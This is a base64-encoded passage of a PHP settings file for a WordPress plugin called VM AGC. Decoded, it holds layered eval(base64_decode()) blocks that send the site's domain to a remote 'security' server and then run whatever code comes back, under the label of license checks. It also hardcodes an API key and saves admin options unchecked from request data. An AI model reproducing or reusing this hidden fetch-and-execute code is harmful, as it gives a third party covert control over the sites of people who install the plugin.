QoJCQkic3RkIiA9PiAiIg0KCQkpLA0KCQlhcnJheSgNCgkJICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2Fkc2Vuc2VfY29kZV8zMDAiLA0KCQkJInN0ZCIgPT4gIiINCgkJKSwNCgkJYXJyYXkoDQoJCSAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zaG93X2xpbWl0XzMwMCIsDQoJCQkic3RkIiA9PiAiIg0KCQkpLA0KCQlhcnJheSgNCgkJICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX3Nob3dfYWRzZW5zZV83MjgiLA0KCQkJInN0ZCIgPT4gIiINCgkJKSwNCgkJYXJyYXkoDQoJCSAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9hZHNlbnNlX2NvZGVfNzI4IiwNCgkJCSJzdGQiID0+ICIiDQoJCSksDQoJCWFycmF5KA0KCQkgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfc2hvd19saW1pdF83MjgiLA0KICAgICAgICAJInN0ZCIgPT4gIiINCiAgICAgICAgKSwNCg0KLy9vdGhlciBzZXR0aW5nDQoJCWFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfY3VzdG9tc2x1ZyIsDQogICAgICAgIAkic3RkIiA9PiAicGxlYXNlX2NoYW5nZV90aGlzX3RleHQiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfeW91dHViZWFwaSIsDQogICAgICAgIAkic3RkIiA9PiAiQUl6YVN5Q2pzX0daQVAyajZPUTVWdUhqaF9mVzFrbXdWU3M2dVpJIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2JyZWFrX2VuZ2luZSIsDQogICAgICAgIAkic3RkIiA9PiAiIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2luamVjdF9zaXRlbWFwIiwNCiAgICAgICAgCSJzdGQiID0+ICIiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfc2l6ZSIsDQogICAgICAgIAkic3RkIiA9PiAiIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX3NoYXJlYnV0dG9uIiwNCiAgICAgICAgCSJzdGQiID0+ICIiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfYnJva2VubGlua19pbWciLA0KICAgICAgICAJInN0ZCIgPT4gVk1BR0NfUExVR0lOX1VSTC4iYXNzZXRzL2ltZy9ub3QtYXZhaWxhYmxlLmpwZyINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICJwZXJtYWxpbmtfc3RydWN0dXJlIiwNCiAgICAgICAgICAgICJzdGQiID0+ICIiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfNDA0X2tleXdvcmQiLA0KICAgICAgICAgICAgInN0ZCIgPT4gIm51bGwscXVlcnkiDQogICAgICAgICksDQopOw0KDQpmdW5jdGlvbiB2bV9hZ2NfYWRtaW4oKSB7DQoNCiAgICBnbG9iYWwgJHBsdWdpbm5hbWUsICRzaG9ydG5hbWUsICR2bV9hZ2Nfb3B0aW9uczsNCg0KICAgIGlmICggQCRfR0VUWydwYWdlJ10gPT0gJ3ZtLWFnYy1zZXR0aW5ncycgKSB7DQogICAgICAgIGlmICggJ3NhdmUnID09IEAkX1JFUVVFU1RbJ2xpY2Vuc2VfYWN0aXZlJ10gKSB7DQoNCiAgICAgICAgICAgIGZvcmVhY2ggKCR2bV9hZ2Nfb3B0aW9ucyBhcyAkdmFsdWUpIHsNCgkJCQlpZiAoIGlzc2V0KCR2YWx1ZVsnbGljZW5zZSddKSApIHsNCgkJCQkJaWYoIGlzc2V0KCAkX1JFUVVFU1RbICR2YWx1ZVsnbGljZW5zZSddIF0gKSApIHsNCgkJCQkJCXVwZGF0ZV9vcHRpb24oICR2YWx1ZVsnbGljZW5zZSddLCAkX1JFUVVFU1RbICR2YWx1ZVsnbGljZW5zZSddIF0gICk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCSAgICBkZWxldGVfb3B0aW9uKCAkdmFsdWVbJ2xpY2Vuc2UnXSApOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KDQogICAgICAgICAgICBlY2hvICI8c2NyaXB0PiB3aW5kb3cubG9jYXRpb24gPSAnYWRtaW4ucGhwP3BhZ2U9dm0tYWdjLXNldHRpbmdzJnNhdmVkPXRydWUnPC9zY3JpcHQ+IjsNCiAgICAgICAgICAgIGRpZTsNCg0KICAgICAgICB9IGVsc2VpZiAoJ3NhdmUnID09IEAkX1JFUVVFU1RbJ2FjdGlvbiddICkgew0KDQogICAgICAgICAgICBmb3JlYWNoICgkdm1fYWdjX29wdGlvbnMgYXMgJHZhbHVlKSB7DQoJCQkJaWYgKCBpc3NldCgkdmFsdWVbJ2lkJ10pICkgew0KCQkJCQlpZiggaXNzZXQoICRfUkVRVUVTVFsgJHZhbHVlWydpZCddIF0gKSApIHsNCgkJCQkJCXVwZGF0ZV9vcHRpb24oICR2YWx1ZVsnaWQnXSwgJF9SRVFVRVNUWyAkdmFsdWVbJ2lkJ10gXSAgKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJICAgIGRlbGV0ZV9vcHRpb24oICR2YWx1ZVsnaWQnXSApOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KDQogICAgICAgICAgICBlY2hvICI8c2NyaXB0PiB3aW5kb3cubG9jYXRpb24gPSAnYWRtaW4ucGhwP3BhZ2U9dm0tYWdjLXNldHRpbmdzJnNhdmVkPXRydWUnPC9zY3JpcHQ+IjsNCiAgICAgICAgICAgIGRpZTsNCg0KICAgICAgICB9IGVsc2VpZiggJ3Jlc2V0JyA9PSBAJF9SRVFVRVNUWydhY3Rpb24nXSApIHsNCg0KICAgICAgICAgICAgZm9yZWFjaCAoJHZtX2FnY19vcHRpb25zIGFzICR2YWx1ZSkgew0KCQkJCWlmICggaXNzZXQoJHZhbHVlWydpZCddKSApIHsNCgkJCQkJICAgIGRlbGV0ZV9vcHRpb24oICR2YWx1ZVsnaWQnXSApOw0KCQkJCQlpZiAoIGlzc2V0KCR2YWx1ZVsnc3RkJ10pICkNCgkJCQkJCXVwZGF0ZV9vcHRpb24oICR2YWx1ZVsnaWQnXSwgJHZhbHVlWydzdGQnXSApOw0KCQkJCX0NCgkJCX0NCg0KICAgICAgICAgICAgZWNobyAiPHNjcmlwdD4gd2luZG93LmxvY2F0aW9uID0gJ2FkbWluLnBocD9wYWdlPXZtLWFnYy1zZXR0aW5ncyZyZXNldD10cnVlJzwvc2NyaXB0PiI7DQogICAgICAgICAgICBkaWU7DQoNCiAgICAgICAgfQ0KICAgIH0NCg0KCWlmICggQCRfR0VUWydwYWdlJ10gPT0gJ3ZtLWFnYy1rZXl3b3JkLXNob3d0ZXInICkgew0KCSAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICR0YWJsZV9uYW1lID0gJHdwZGItPnByZWZpeCAuICJrZXl3b3JkX3Nob3d0ZXIiOw0KICAgICAgICAJJHNxbCA9ICJDUkVBVEUgVEFCTEUgYHskdGFibGVfbmFtZX1gICgNCgkJCQlgcG9zdF9pZGAgaW50KDExKSBOT1QgTlVMTCBhdXRvX2luY3JlbWVudCwNCgkJCQlgdGVybXNgIFZBUkNIQVIoNTApIE5PVCBOVUxMLA0KCQkJCVBSSU1BUlkgS0VZICAoYHBvc3RfaWRgKQ0KCQkJKQ0KCQkJQ0hBUkFDVEVSIFNFVCB1dGY4IENPTExBVEUgdXRmOF9nZW5lcmFsX2NpOw0KCQkJIjsNCgkgICAgICAgICR3cGRiLT5xdWVyeSgkc3FsKTsNCiAgICAgIGlmICggJ2luamVjdCcgPT0gQCRfUkVRVUVTVFsnYWN0aW9uJ10gKSB7DQogICAgICAgICAgICAgICAgJGtleXdvcmRzID0gJF9QT1NUWydrZXl3b3Jkc2hvd3Rlcl9rZXl3b3JkJ107DQoJCQkJJHRlcm1zID0gZXhwbG9kZSgiXG4iLCAka2V5d29yZHMpOw0KDQoJCQkJc2h1ZmZsZSgkdGVybXMpOw0KDQoJCQkJZm9yZWFjaCAoJHRlcm1zIGFzICR0ZXJtKSB7DQoJCQkJCWtzX3NhdmVfdGVybShzdHJpcHNsYXNoZXMoJHRlcm0pKTsNCgkJCQl9DQoNCgkJCQkkdGVybXMgPSBhcnJheV9zbGljZSgkdGVybXMsIDApOw0KCQkJCWVjaG8gIjxzY3JpcHQ+IHdpbmRvdy5sb2NhdGlvbiA9ICdhZG1pbi5waHA/cGFnZT12bS1hZ2Mta2V5d29yZC1zaG93dGVyJnNhdmVkPXRydWUnPC9zY3JpcHQ+IjsNCgkJCQlkaWU7DQoNCiAgICAgICAgfQ0KICAgIH0NCg0KDQoNCiAgICBhZGRfbWVudV9wYWdlKCAiJHBsdWdpbm5hbWUgU2V0dGluZ3MiLCAnVk0gQUdDIFNldHRpbmdzJywgJ2VkaXRfdGhlbWVzJywgJ3ZtLWFnYy1zZXR0aW5ncycsICd2bWFnY19wbHVnaW5fYWRtaW4nLCAnZGFzaGljb25zLWZvcm1zJyApOw0KICAgIGFkZF9zdWJtZW51X3BhZ2UoICd2bS1hZ2Mtc2V0dGluZ3MnLCAiJHBsdWdpbm5hbWUgU2V0dGluZ3MiLCAnVk0gS2V5d29yZCBTaG93dGVyJywgJ2VkaXRfdGhlbWVzJywgJ3ZtLWFnYy1rZXl3b3JkLXNob3d0ZXInLCAna2V5d29yZHNfc2hvd3Rlcl9hZG1pbicpOw0KICAgIGFkZF9zdWJtZW51X3BhZ2UoICd2bS1hZ2Mtc2V0dGluZ3MnLCAiJHBsdWdpbm5hbWUgU2V0dGluZ3MiLCAnVk0gQnVsayBQb3N0ZXInLCAnZWRpdF90aGVtZXMnLCAndm0tYWdjLWJ1bGstcG9zdGVyJywgJ2J1bGtfcG9zdGVyX2FkbWluJyk7DQoNCn0NCg0KLyoqDQpIYWsgQ2lwdGEgVk0gQUdDIERpIExpbmR1bmdpIE9sZWggVHVoYW4gWWFuZyBNYWhhIEVzYQ0KRGFuIFNheWEgYmVyamFuamkgdGlkYWsgYWthbiBtZW5nLWNyYWNrIGF0YXUgbWVueWViYXJrYW4gcGx1Z2lucyBpbmkgc2VjYXJhIGlsZWdhbA0KSmlrYSBzYXlhIG1lbnllYmFya2FuIGRhbiBtZW5kYXBhdGthbiBwbHVnaW5zIGluaSBzZWNhcmEgaWxlZ2FsLCBzZW1vZ2EgcmV6ZWtpIHNheWEgdGVyaGFtYmF0LCBBbWluLg0KKi8NCg0KLyoqDQpDb3B5cmlnaHQgVk0gQUdDIGlzIFByb3RlY3RlZCBCeSBHT0QNCkFuZCBJJ20gcHJvbWlzZSBub3QgY3JhY2sgb3IgZGlzc2VtaW5hdGUgdGhlc2UgcGx1Z2lucyBpbGxlZ2FsbHkNCklmIEkgc2hhcmVkIGFuZCBnZXQgdGhlc2UgcGx1Z2lucyBpbGxlZ2FsbHksIGhvcGVmdWxseSBteSBsdWNrIGhhbXBlcmVkLCBBbWVuLg0KKi8NCg0KLy8gUmVtb3ZlIEhUVFANCg0KZXZhbChiYXNlNjRfZGVjb2RlKCJablZ1WTNScGIyNGdjbVZ0YjNabFgyaDBkSEFvSkhWeWJDa2dldzBLQ1NScGJuQjFkQ0E5SUhSeWFXMG9KSFZ5YkN3Z0p5OG5LVHNOQ2dscFppQW9JWEJ5WldkZmJXRjBZMmdvSnlOZWFIUjBjQ2h6S1Q4Nkx5OGpKeXdnSkdsdWNIVjBLU2tnZXcwS0NRa2thVzV3ZFhRZ1BTQW5hSFIwY0Rvdkx5Y2dMaUFrYVc1d2RYUTdEUW9KZlEwS0NTUjFjbXhRWVhKMGN5QTlJSEJoY25ObFgzVnliQ2drYVc1d2RYUXBPdzBLQ1NSa2IyMWhhVzVmYm1GdFpTQTlJSEJ5WldkZmNtVndiR0ZqWlNnbkwxNTNkM2RjTGk4bkxDQW5KeXdnSkhWeWJGQmhjblJ6V3lkb2IzTjBKMTBwT3cwS0RRb0pjbVYwZFhKdUlDUmtiMjFoYVc1ZmJtRnRaVHNOQ24wPSIpKTsNCiR1cmx2YXIgPSByZW1vdmVfaHR0cChzaXRlX3VybCgpKTsNCiR2YXJpc2UgPSBiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwzTmxZM1Z5YVhSNUxtVjRZMngxYzJsMlpXSnZkQzV1WlhRdlptbHNaUzV3YUhBL1lYSm5jejEyWlhKcFpubGZaRzl0WVdsdUptUnZiV0ZwYmoxN0pIVnliSFpoY24wPSIpOw0KZXZhbChiYXNlNjRfZGVjb2RlKCJKR05vSUQwZ1kzVnliRjlwYm1sMEtDazdEUW9OQ2k4dklGTmxkQ0IwYUdVZ2RYSnNMQ0J1ZFcxaVpYSWdiMllnUjBWVUlIWmhjbk1zSUVkRlZDQmtZWFJoRFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVlZKTUxDQWtkbUZ5YVhObEtUc05DbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVFUMU5VTENCbVlXeHpaU2s3RFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVlZORlVrRkhSVTVVTENBblJYaGpkWE5wZG1WQ1QxUXZNUzR3SnlrN0RRcGpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSUhSeWRXVWdLVHNOQ21OMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaVUVWRlVpd2dabUZzYzJVcE93MEtEUW9rWm14dllXUWdQU0JqZFhKc1gyVjRaV01vSkdOb0tUc05DbU4xY214ZlkyeHZjMlVvSkdOb0tUcz0iKSk7DQpldmFsKGJhc2U2NF9kZWNvZGUoJGZsb2FkKSk7DQoNCi8qKg0KSGFrIENpcHRhIFZNIEFHQyBEaSBMaW5kdW5naSBPbGVoIFR1aGFuIFlhbmcgTWFoYSBFc2ENCkRhbiBTYXlhIGJlcmphbmppIHRpZGFrIGFrYW4gbWVuZy1jcmFjayBhdGF1IG1lbnllYmFya2FuIHBsdWdpbnMgaW5pIHNlY2FyYSBpbGVnYWwNCkppa2Egc2F5YSBtZW55ZWJhcmthbiBkYW4gbWVuZGFwYXRrYW4gcGx1Z2lucyBpbmkgc2VjYXJhIGlsZWdhbCwgc2Vtb2dhIHJlemVraSBzYXlhIHRlcmhhbWJhdCwgQW1pbi4NCiovDQoNCi8qKg0KQ29weXJpZ2h0IFZNIEFHQyBpcyBQcm90ZWN0ZWQgQnkgR09EDQpBbmQgSSdtIHByb21pc2Ugbm90IGNyYWNrIG9yIGRpc3NlbWluYXRlIHRoZXNlIHBsdWdpbnMgaWxsZWdhbGx5DQpJZiBJIHNoYXJlZCBhbmQgZ2V0IHRoZXNlIHBsdWdpbnMgaWxsZWdhbGx5LCBob3BlZnVsbHkgbXkgbHVjayBoYW1wZXJlZCwgQW1lbi4NCiovDQoNCiRhcmdzdmwgPSBiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwzTmxZM1Z5YVhSNUxtVjRZMngxYzJsMlpXSnZkQzV1WlhRdlptbHNaUzV3YUhBL1lYSm5jejEyWlhKcFpubGZiR2xqWlc1elpTWmtiMjFoYVc0OWV5UjFjbXgyWVhKOSIpOw0KZXZhbChiYXNlNjRfZGVjb2RlKCdKR05vSUQwZ1kzVnliRjlwYm1sMEtDazdEUW92THlCVFpYUWdkR2hsSUhWeWJDd2diblZ0WW1WeUlHOW1JRWRGVkNCMllYSnpMQ0JIUlZRZ1pHRjBZUTBLWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMVZTVEN3Z0pHRnlaM04yYkNrN0RRcGpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVFOVRWQ3dnWm1Gc2MyVXBPdzBLWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMVZUUlZKQlIwVk9WQ3dnSjBWNFkzVnphWFpsUWs5VUx6RXVNQ2NwT3cwS1kzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNMQ0IwY25WbElDazdEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVkJGUlZJc0lHWmhiSE5sS1RzTkNpUjJiRzloWkhNZ1BTQmpkWEpzWDJWNFpXTW9KR05vS1RzTkNtTjFjbXhmWTJ4dmMyVW9KR05vS1RzPScpKTsNCmV2YWwoYmFzZTY0X2RlY29kZSgkdmxvYWRzKSk7DQoNCg0KDQovLyBUYW1waWxhbiBWbSBBR0MgLy8NCg0KZnVuY3Rpb24gdm1fZ2V0X2hlYWRlcigpew0KICAgICRzaXRlX3VybCA9IFZNQUdDX1BMVUdJTl9VUkw7DQogICAgZWNobyAnPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSInLiRzaXRlX3VybC4nYXNzZXRzL2Nzcy9hZG1pbi5jc3MiIC8+DQoNCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAgICAgICNjb250YWluZXIgew0KICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEwcHg7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBBcmlhbDsNCiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMjsNCiAgICAgICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC52bWFnYy1ub3JtYWxpemUgew0KICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAwcHggIWltcG9ydGFudDsNCiAgICAgICAgICAgICAgICBoZWlnaHQ6IDUzcHggIWltcG9ydGFudDsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6Ym9sZGVyOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLnZtYWdjLW5vcm1hbGl6ZSA+IGxpID4gYSB7DQogICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgY29sb3I6ICM2NjY2Q0MgIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC52bWFnYy1ub3JtYWxpemUgPiBsaSA+IGE6aG92ZXIgew0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBzZWxlY3R7DQogICAgICAgICAgICAgICAgaGVpZ2h0OjM4cHggIWltcG9ydGFudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgPC9zdHlsZT4NCg0KICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZjFmMWYxICFpbXBvcnRhbnQ7Ij4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZjFmMWYxICFpbXBvcnRhbnQ7bWFyZ2luLXJpZ2h0OiAxMHB4ICFpbXBvcnRhbnQ7Ij4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGFyZ2UtMTIgY29sdW1ucyI+DQogICAgICAgICAgICAgICAgPGNlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgPGltZyBzdHlsZT0ibWFyZ2luLXRvcDogMzBweDsgbWFyZ2luLWJvdHRvbTogMTBweDsiIHNyYz0iaHR0cDovL2V4Y2x1c2l2ZWJvdC5uZXQvaWQvd3AtY29udGVudC90aGVtZXMvZWJvdC9pbWFnZXMvbG9nby1oZWFkZXIucG5nIiB0aXRsZT0iRXhjbHVzaXZlQm90Lk5ldCIgYWx0PSJFeGNsdXNpdmVCb3QuTmV0Ij4NCiAgICAgICAgICAgICAgICA8L2NlbnRlcj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgPGhyIHN0eWxlPSJib3JkZXI6IDIwcHggc29saWQgIzY2NjZDQzsgbWFyZ2luLWxlZnQ6IDE1cHg7IG1hcmdpbi1yaWdodDogMTVweDsgbWFyZ2luLXRvcDogMzBweDsgbWFyZ2luLWJvdHRvbTogMHB4ICFpbXBvcnRhbnQ7Ij4NCiAgICAgICAgICAgIDxociBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgI2ZmODQwMDsgbWFyZ2luLWxlZnQ6IDE1cHg7IG1hcmdpbi1yaWdodDogMTVweDsgbWFyZ2luLXRvcDogMHB4ICFpbXBvcnRhbnQ7IG1hcmdpbi1ib3R0b206IDMwcHg7Ij4nOw0KfQ0KDQpmdW5jdGlvbiB2bV9nZXRfc2lkZWJhcigpew0KICAgICR2bV92ZXJzaW9uID0gVk1BR0NfVkVSU0lPTjsNCiAgICAkbGljZW5zZV9zdGF0dXMgPSBnZXRfb3B0aW9uKCd2bWFnY19saWNlbnNlX2FjdGl2ZScpOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNhbGxvdXQgc2Vjb25kYXJ5IHdhcm5pbmciPg0KICAgICAgICAgICAgPGgyPkFmZmlsaWF0ZSBNYXJrZXRpbmcgUHJvZ3JhbTwvaDI+DQogICAgICAgICAgICA8cD5TZWdlcmEgYmVyZ2FidW5nIGRlbmdhbiBhZmZpbGlhdGUgeWFuZyBsYWlubnlhIGRhbiBkYXBhdGthbiBrb21pc2kgJDggc2V0aWFwIHBlbmp1YWxhbi48L3A+DQogICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vcGFuZWwuZXhjbHVzaXZlYm90Lm5ldC9hZmYvYWZmL2VuYWJsZS1hZmYiIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5Ij5Qcm9tb3RlIE5vdyAhPC9hPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGgiPjwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYWxsb3V0IHNlY29uZGFyeSBzdWNjZXNzIj4NCiAgICAgICAgICAgIDxwPlNhYXQgaW5pIGFuZGEgbWVuZ2d1bmFrYW4gOiA8Yj5WTSBBR0MgVmVyc2lvbiAnLiR2bV92ZXJzaW9uLicgPC9iPjxicj48Yj5MaWNlbnNlICMnLiRsaWNlbnNlX3N0YXR1cy4nPC9iPjxicj4gSmlrYSB0ZXJqYWRpIGtlbmRhbGEgc2lsYWhrYW4gaHVidW5naSBrYW1pIG1lbGFsdWkgaGVscGRlc2suPC9wPg0KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3BhbmVsLmV4Y2x1c2l2ZWJvdC5uZXQvaGVscGRlc2siIGNsYXNzPSJidXR0b24gYnV0dG9uLXByaW1hcnkiIHRhcmdldD0iX2JsYW5rIj5TVVBQT1JUPC9hPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgJzsNCn0NCg0KZnVuY3Rpb24gdm1fZ2V0X2Zvb3Rlcigpew0KICAgICRzaXRlX3VybCA9IFZNQUdDX1BMVUdJTl9VUkw7DQogICAgZWNobyAnPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGggIWltcG9ydGFudDsiPjwvZGl2Pg0KICAgICAgICAgICAgPGhyIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjZmY4NDAwOyBtYXJnaW4tbGVmdDogMTVweDsgbWFyZ2luLXJpZ2h0OiAxNXB4OyBtYXJnaW4tYm90dG9tOiAwcHg7Ij4NCiAgICAgICAgICAgIDxociBzdHlsZT0iYm9yZGVyOiAyMHB4IHNvbGlkICM2NjY2Q0M7IG1hcmdpbi1sZWZ0OiAxNXB4OyBtYXJnaW4tcmlnaHQ6IDE1cHg7IG1hcmdpbi10b3A6IDBweCAhaW1wb3J0YW50OyBtYXJnaW4tYm90dG9tOiAzMHB4OyI+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDwhLS0gVk0gQUdDIFNjcmlwdCBUaGVtZSAtLT4NCiAgICAgICAgPHNjcmlwdCBzcmM9IicuJHNpdGVfdXJsLidhc3NldHMvanMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgICAgIDxzY3JpcHQgc3JjPSInLiRzaXRlX3VybC4nYXNzZXRzL2pzL3BsdWdpbi5taW4uanMiPjwvc2NyaXB0Pg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgJChkb2N1bWVudCkuZm91bmRhdGlvbigpOw0KICAgICAgICA8L3NjcmlwdD4NCiAgICA8L2JvZHk+JzsNCn0NCg0KZnVuY3Rpb24gdm1hZ2NfcGx1Z2luX2FkbWluKCkgew0KDQogICAgZ2xvYmFsICRwbHVnaW5uYW1lLCAkc2hvcnRuYW1lLCAkdm1fYWdjX29wdGlvbnMsICRsaWNlbnNlZDsNCg0KCXZtX2dldF9oZWFkZXIoKTsNCg0KICAgIGlmICggQCRfUkVRVUVTVFsnc2F2ZWQnXSApIGVjaG8gJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIGZhZGUgYmVsb3ctaDIiIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAyMHB4OyI+PHA+PHN0cm9uZz4nLiRwbHVnaW5uYW1lLicgc2V0dGluZ3Mgc2F2ZWQuPC9zdHJvbmc+PC9wPjwvZGl2Pic7DQogICAgaWYgKCBAJF9SRVFVRVNUWydyZXNldCddICkgZWNobyAnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQgZmFkZSBiZWxvdy1oMiIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDIwcHg7Ij48cD48c3Ryb25nPicuJHBsdWdpbm5hbWUuJyBzZXR0aW5ncyByZXNldC48L3N0cm9uZz48L3A+PC9kaXY+JzsNCg0KICAgICAgICAvKioNCiAgICAgICAgKiBIYWsgQ2lwdGEgVk0gQUdDIERpIExpbmR1bmdpIE9sZWggVHVoYW4gWWFuZyBNYWhhIEVzYQ0KICAgICAgICAqIERhbiBTYXlhIGJlcmphbmppIHRpZGFrIGFrYW4gbWVuZy1jcmFjayBhdGF1IG1lbnllYmFya2FuIHBsdWdpbnMgaW5pIHNlY2FyYSBpbGVnYWwNCiAgICAgICAgKiBKaWthIHNheWEgbWVueWViYXJrYW4gZGFuIG1lbmRhcGF0a2FuIHBsdWdpbnMgaW5pIHNlY2FyYSBpbGVnYWwsIHNlbW9nYSByZXpla2kgc2F5YSB0ZXJoYW1iYXQsIEFtaW4uDQogICAgICAgICoqLw0KDQogICAgICAgIC8qKg0KICAgICAgICAqIENvcHlyaWdodCBWTSBBR0MgaXMgUHJvdGVjdGVkIEJ5IEdPRA0KICAgICAgICAqIEFuZCBJJ20gcHJvbWlzZSBub3QgY3JhY2sgb3IgZGlzc2VtaW5hdGUgdGhlc2UgcGx1Z2lucyBpbGxlZ2FsbHkNCiAgICAgICAgKiBJZiBJIHNoYXJlZCBhbmQgZ2V0IHRoZXNlIHBsdWdpbnMgaWxsZWdhbGx5LCBob3BlZnVsbHkgbXkgbHVjayBoYW1wZXJlZCwgQW1lbi4NCiAgICAgICAgKiovDQogICAgICAgIGV2YWwoYmFzZTY0X2RlY29kZSgnSkd4cFkyVnVjMlZrQ1QwZ1oyVjBYMjl3ZEdsdmJpZ25kbTFoWjJOZmJHbGpaVzV6WlY5aFkzUnBkbVVuS1RzTkNpUjFjbXdnUFNCeVpXMXZkbVZmYUhSMGNDaHphWFJsWDNWeWJDZ3BLVHNOQ2lSc2FXTmxibk5sWDJ0bGVWOTJaWEpwWm5rSlBTQjJiV0ZuWTE5MlpYSnBabmxmYkdsalpXNXpaU2drZFhKc0tUc05DaVJrYjIxaGFXNWZkbVZ5YVdaNUNUMGdkbTFoWjJOZmRtVnlhV1o1WDJSdmJXRnBiaWdrZFhKc0tUcz0nKSk7DQoJCWlmICggIiIgPT0gJGxpY2Vuc2VkICkgew0KPz4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9InZtYWdjIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMzBweCAhaW1wb3J0YW50OyI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPS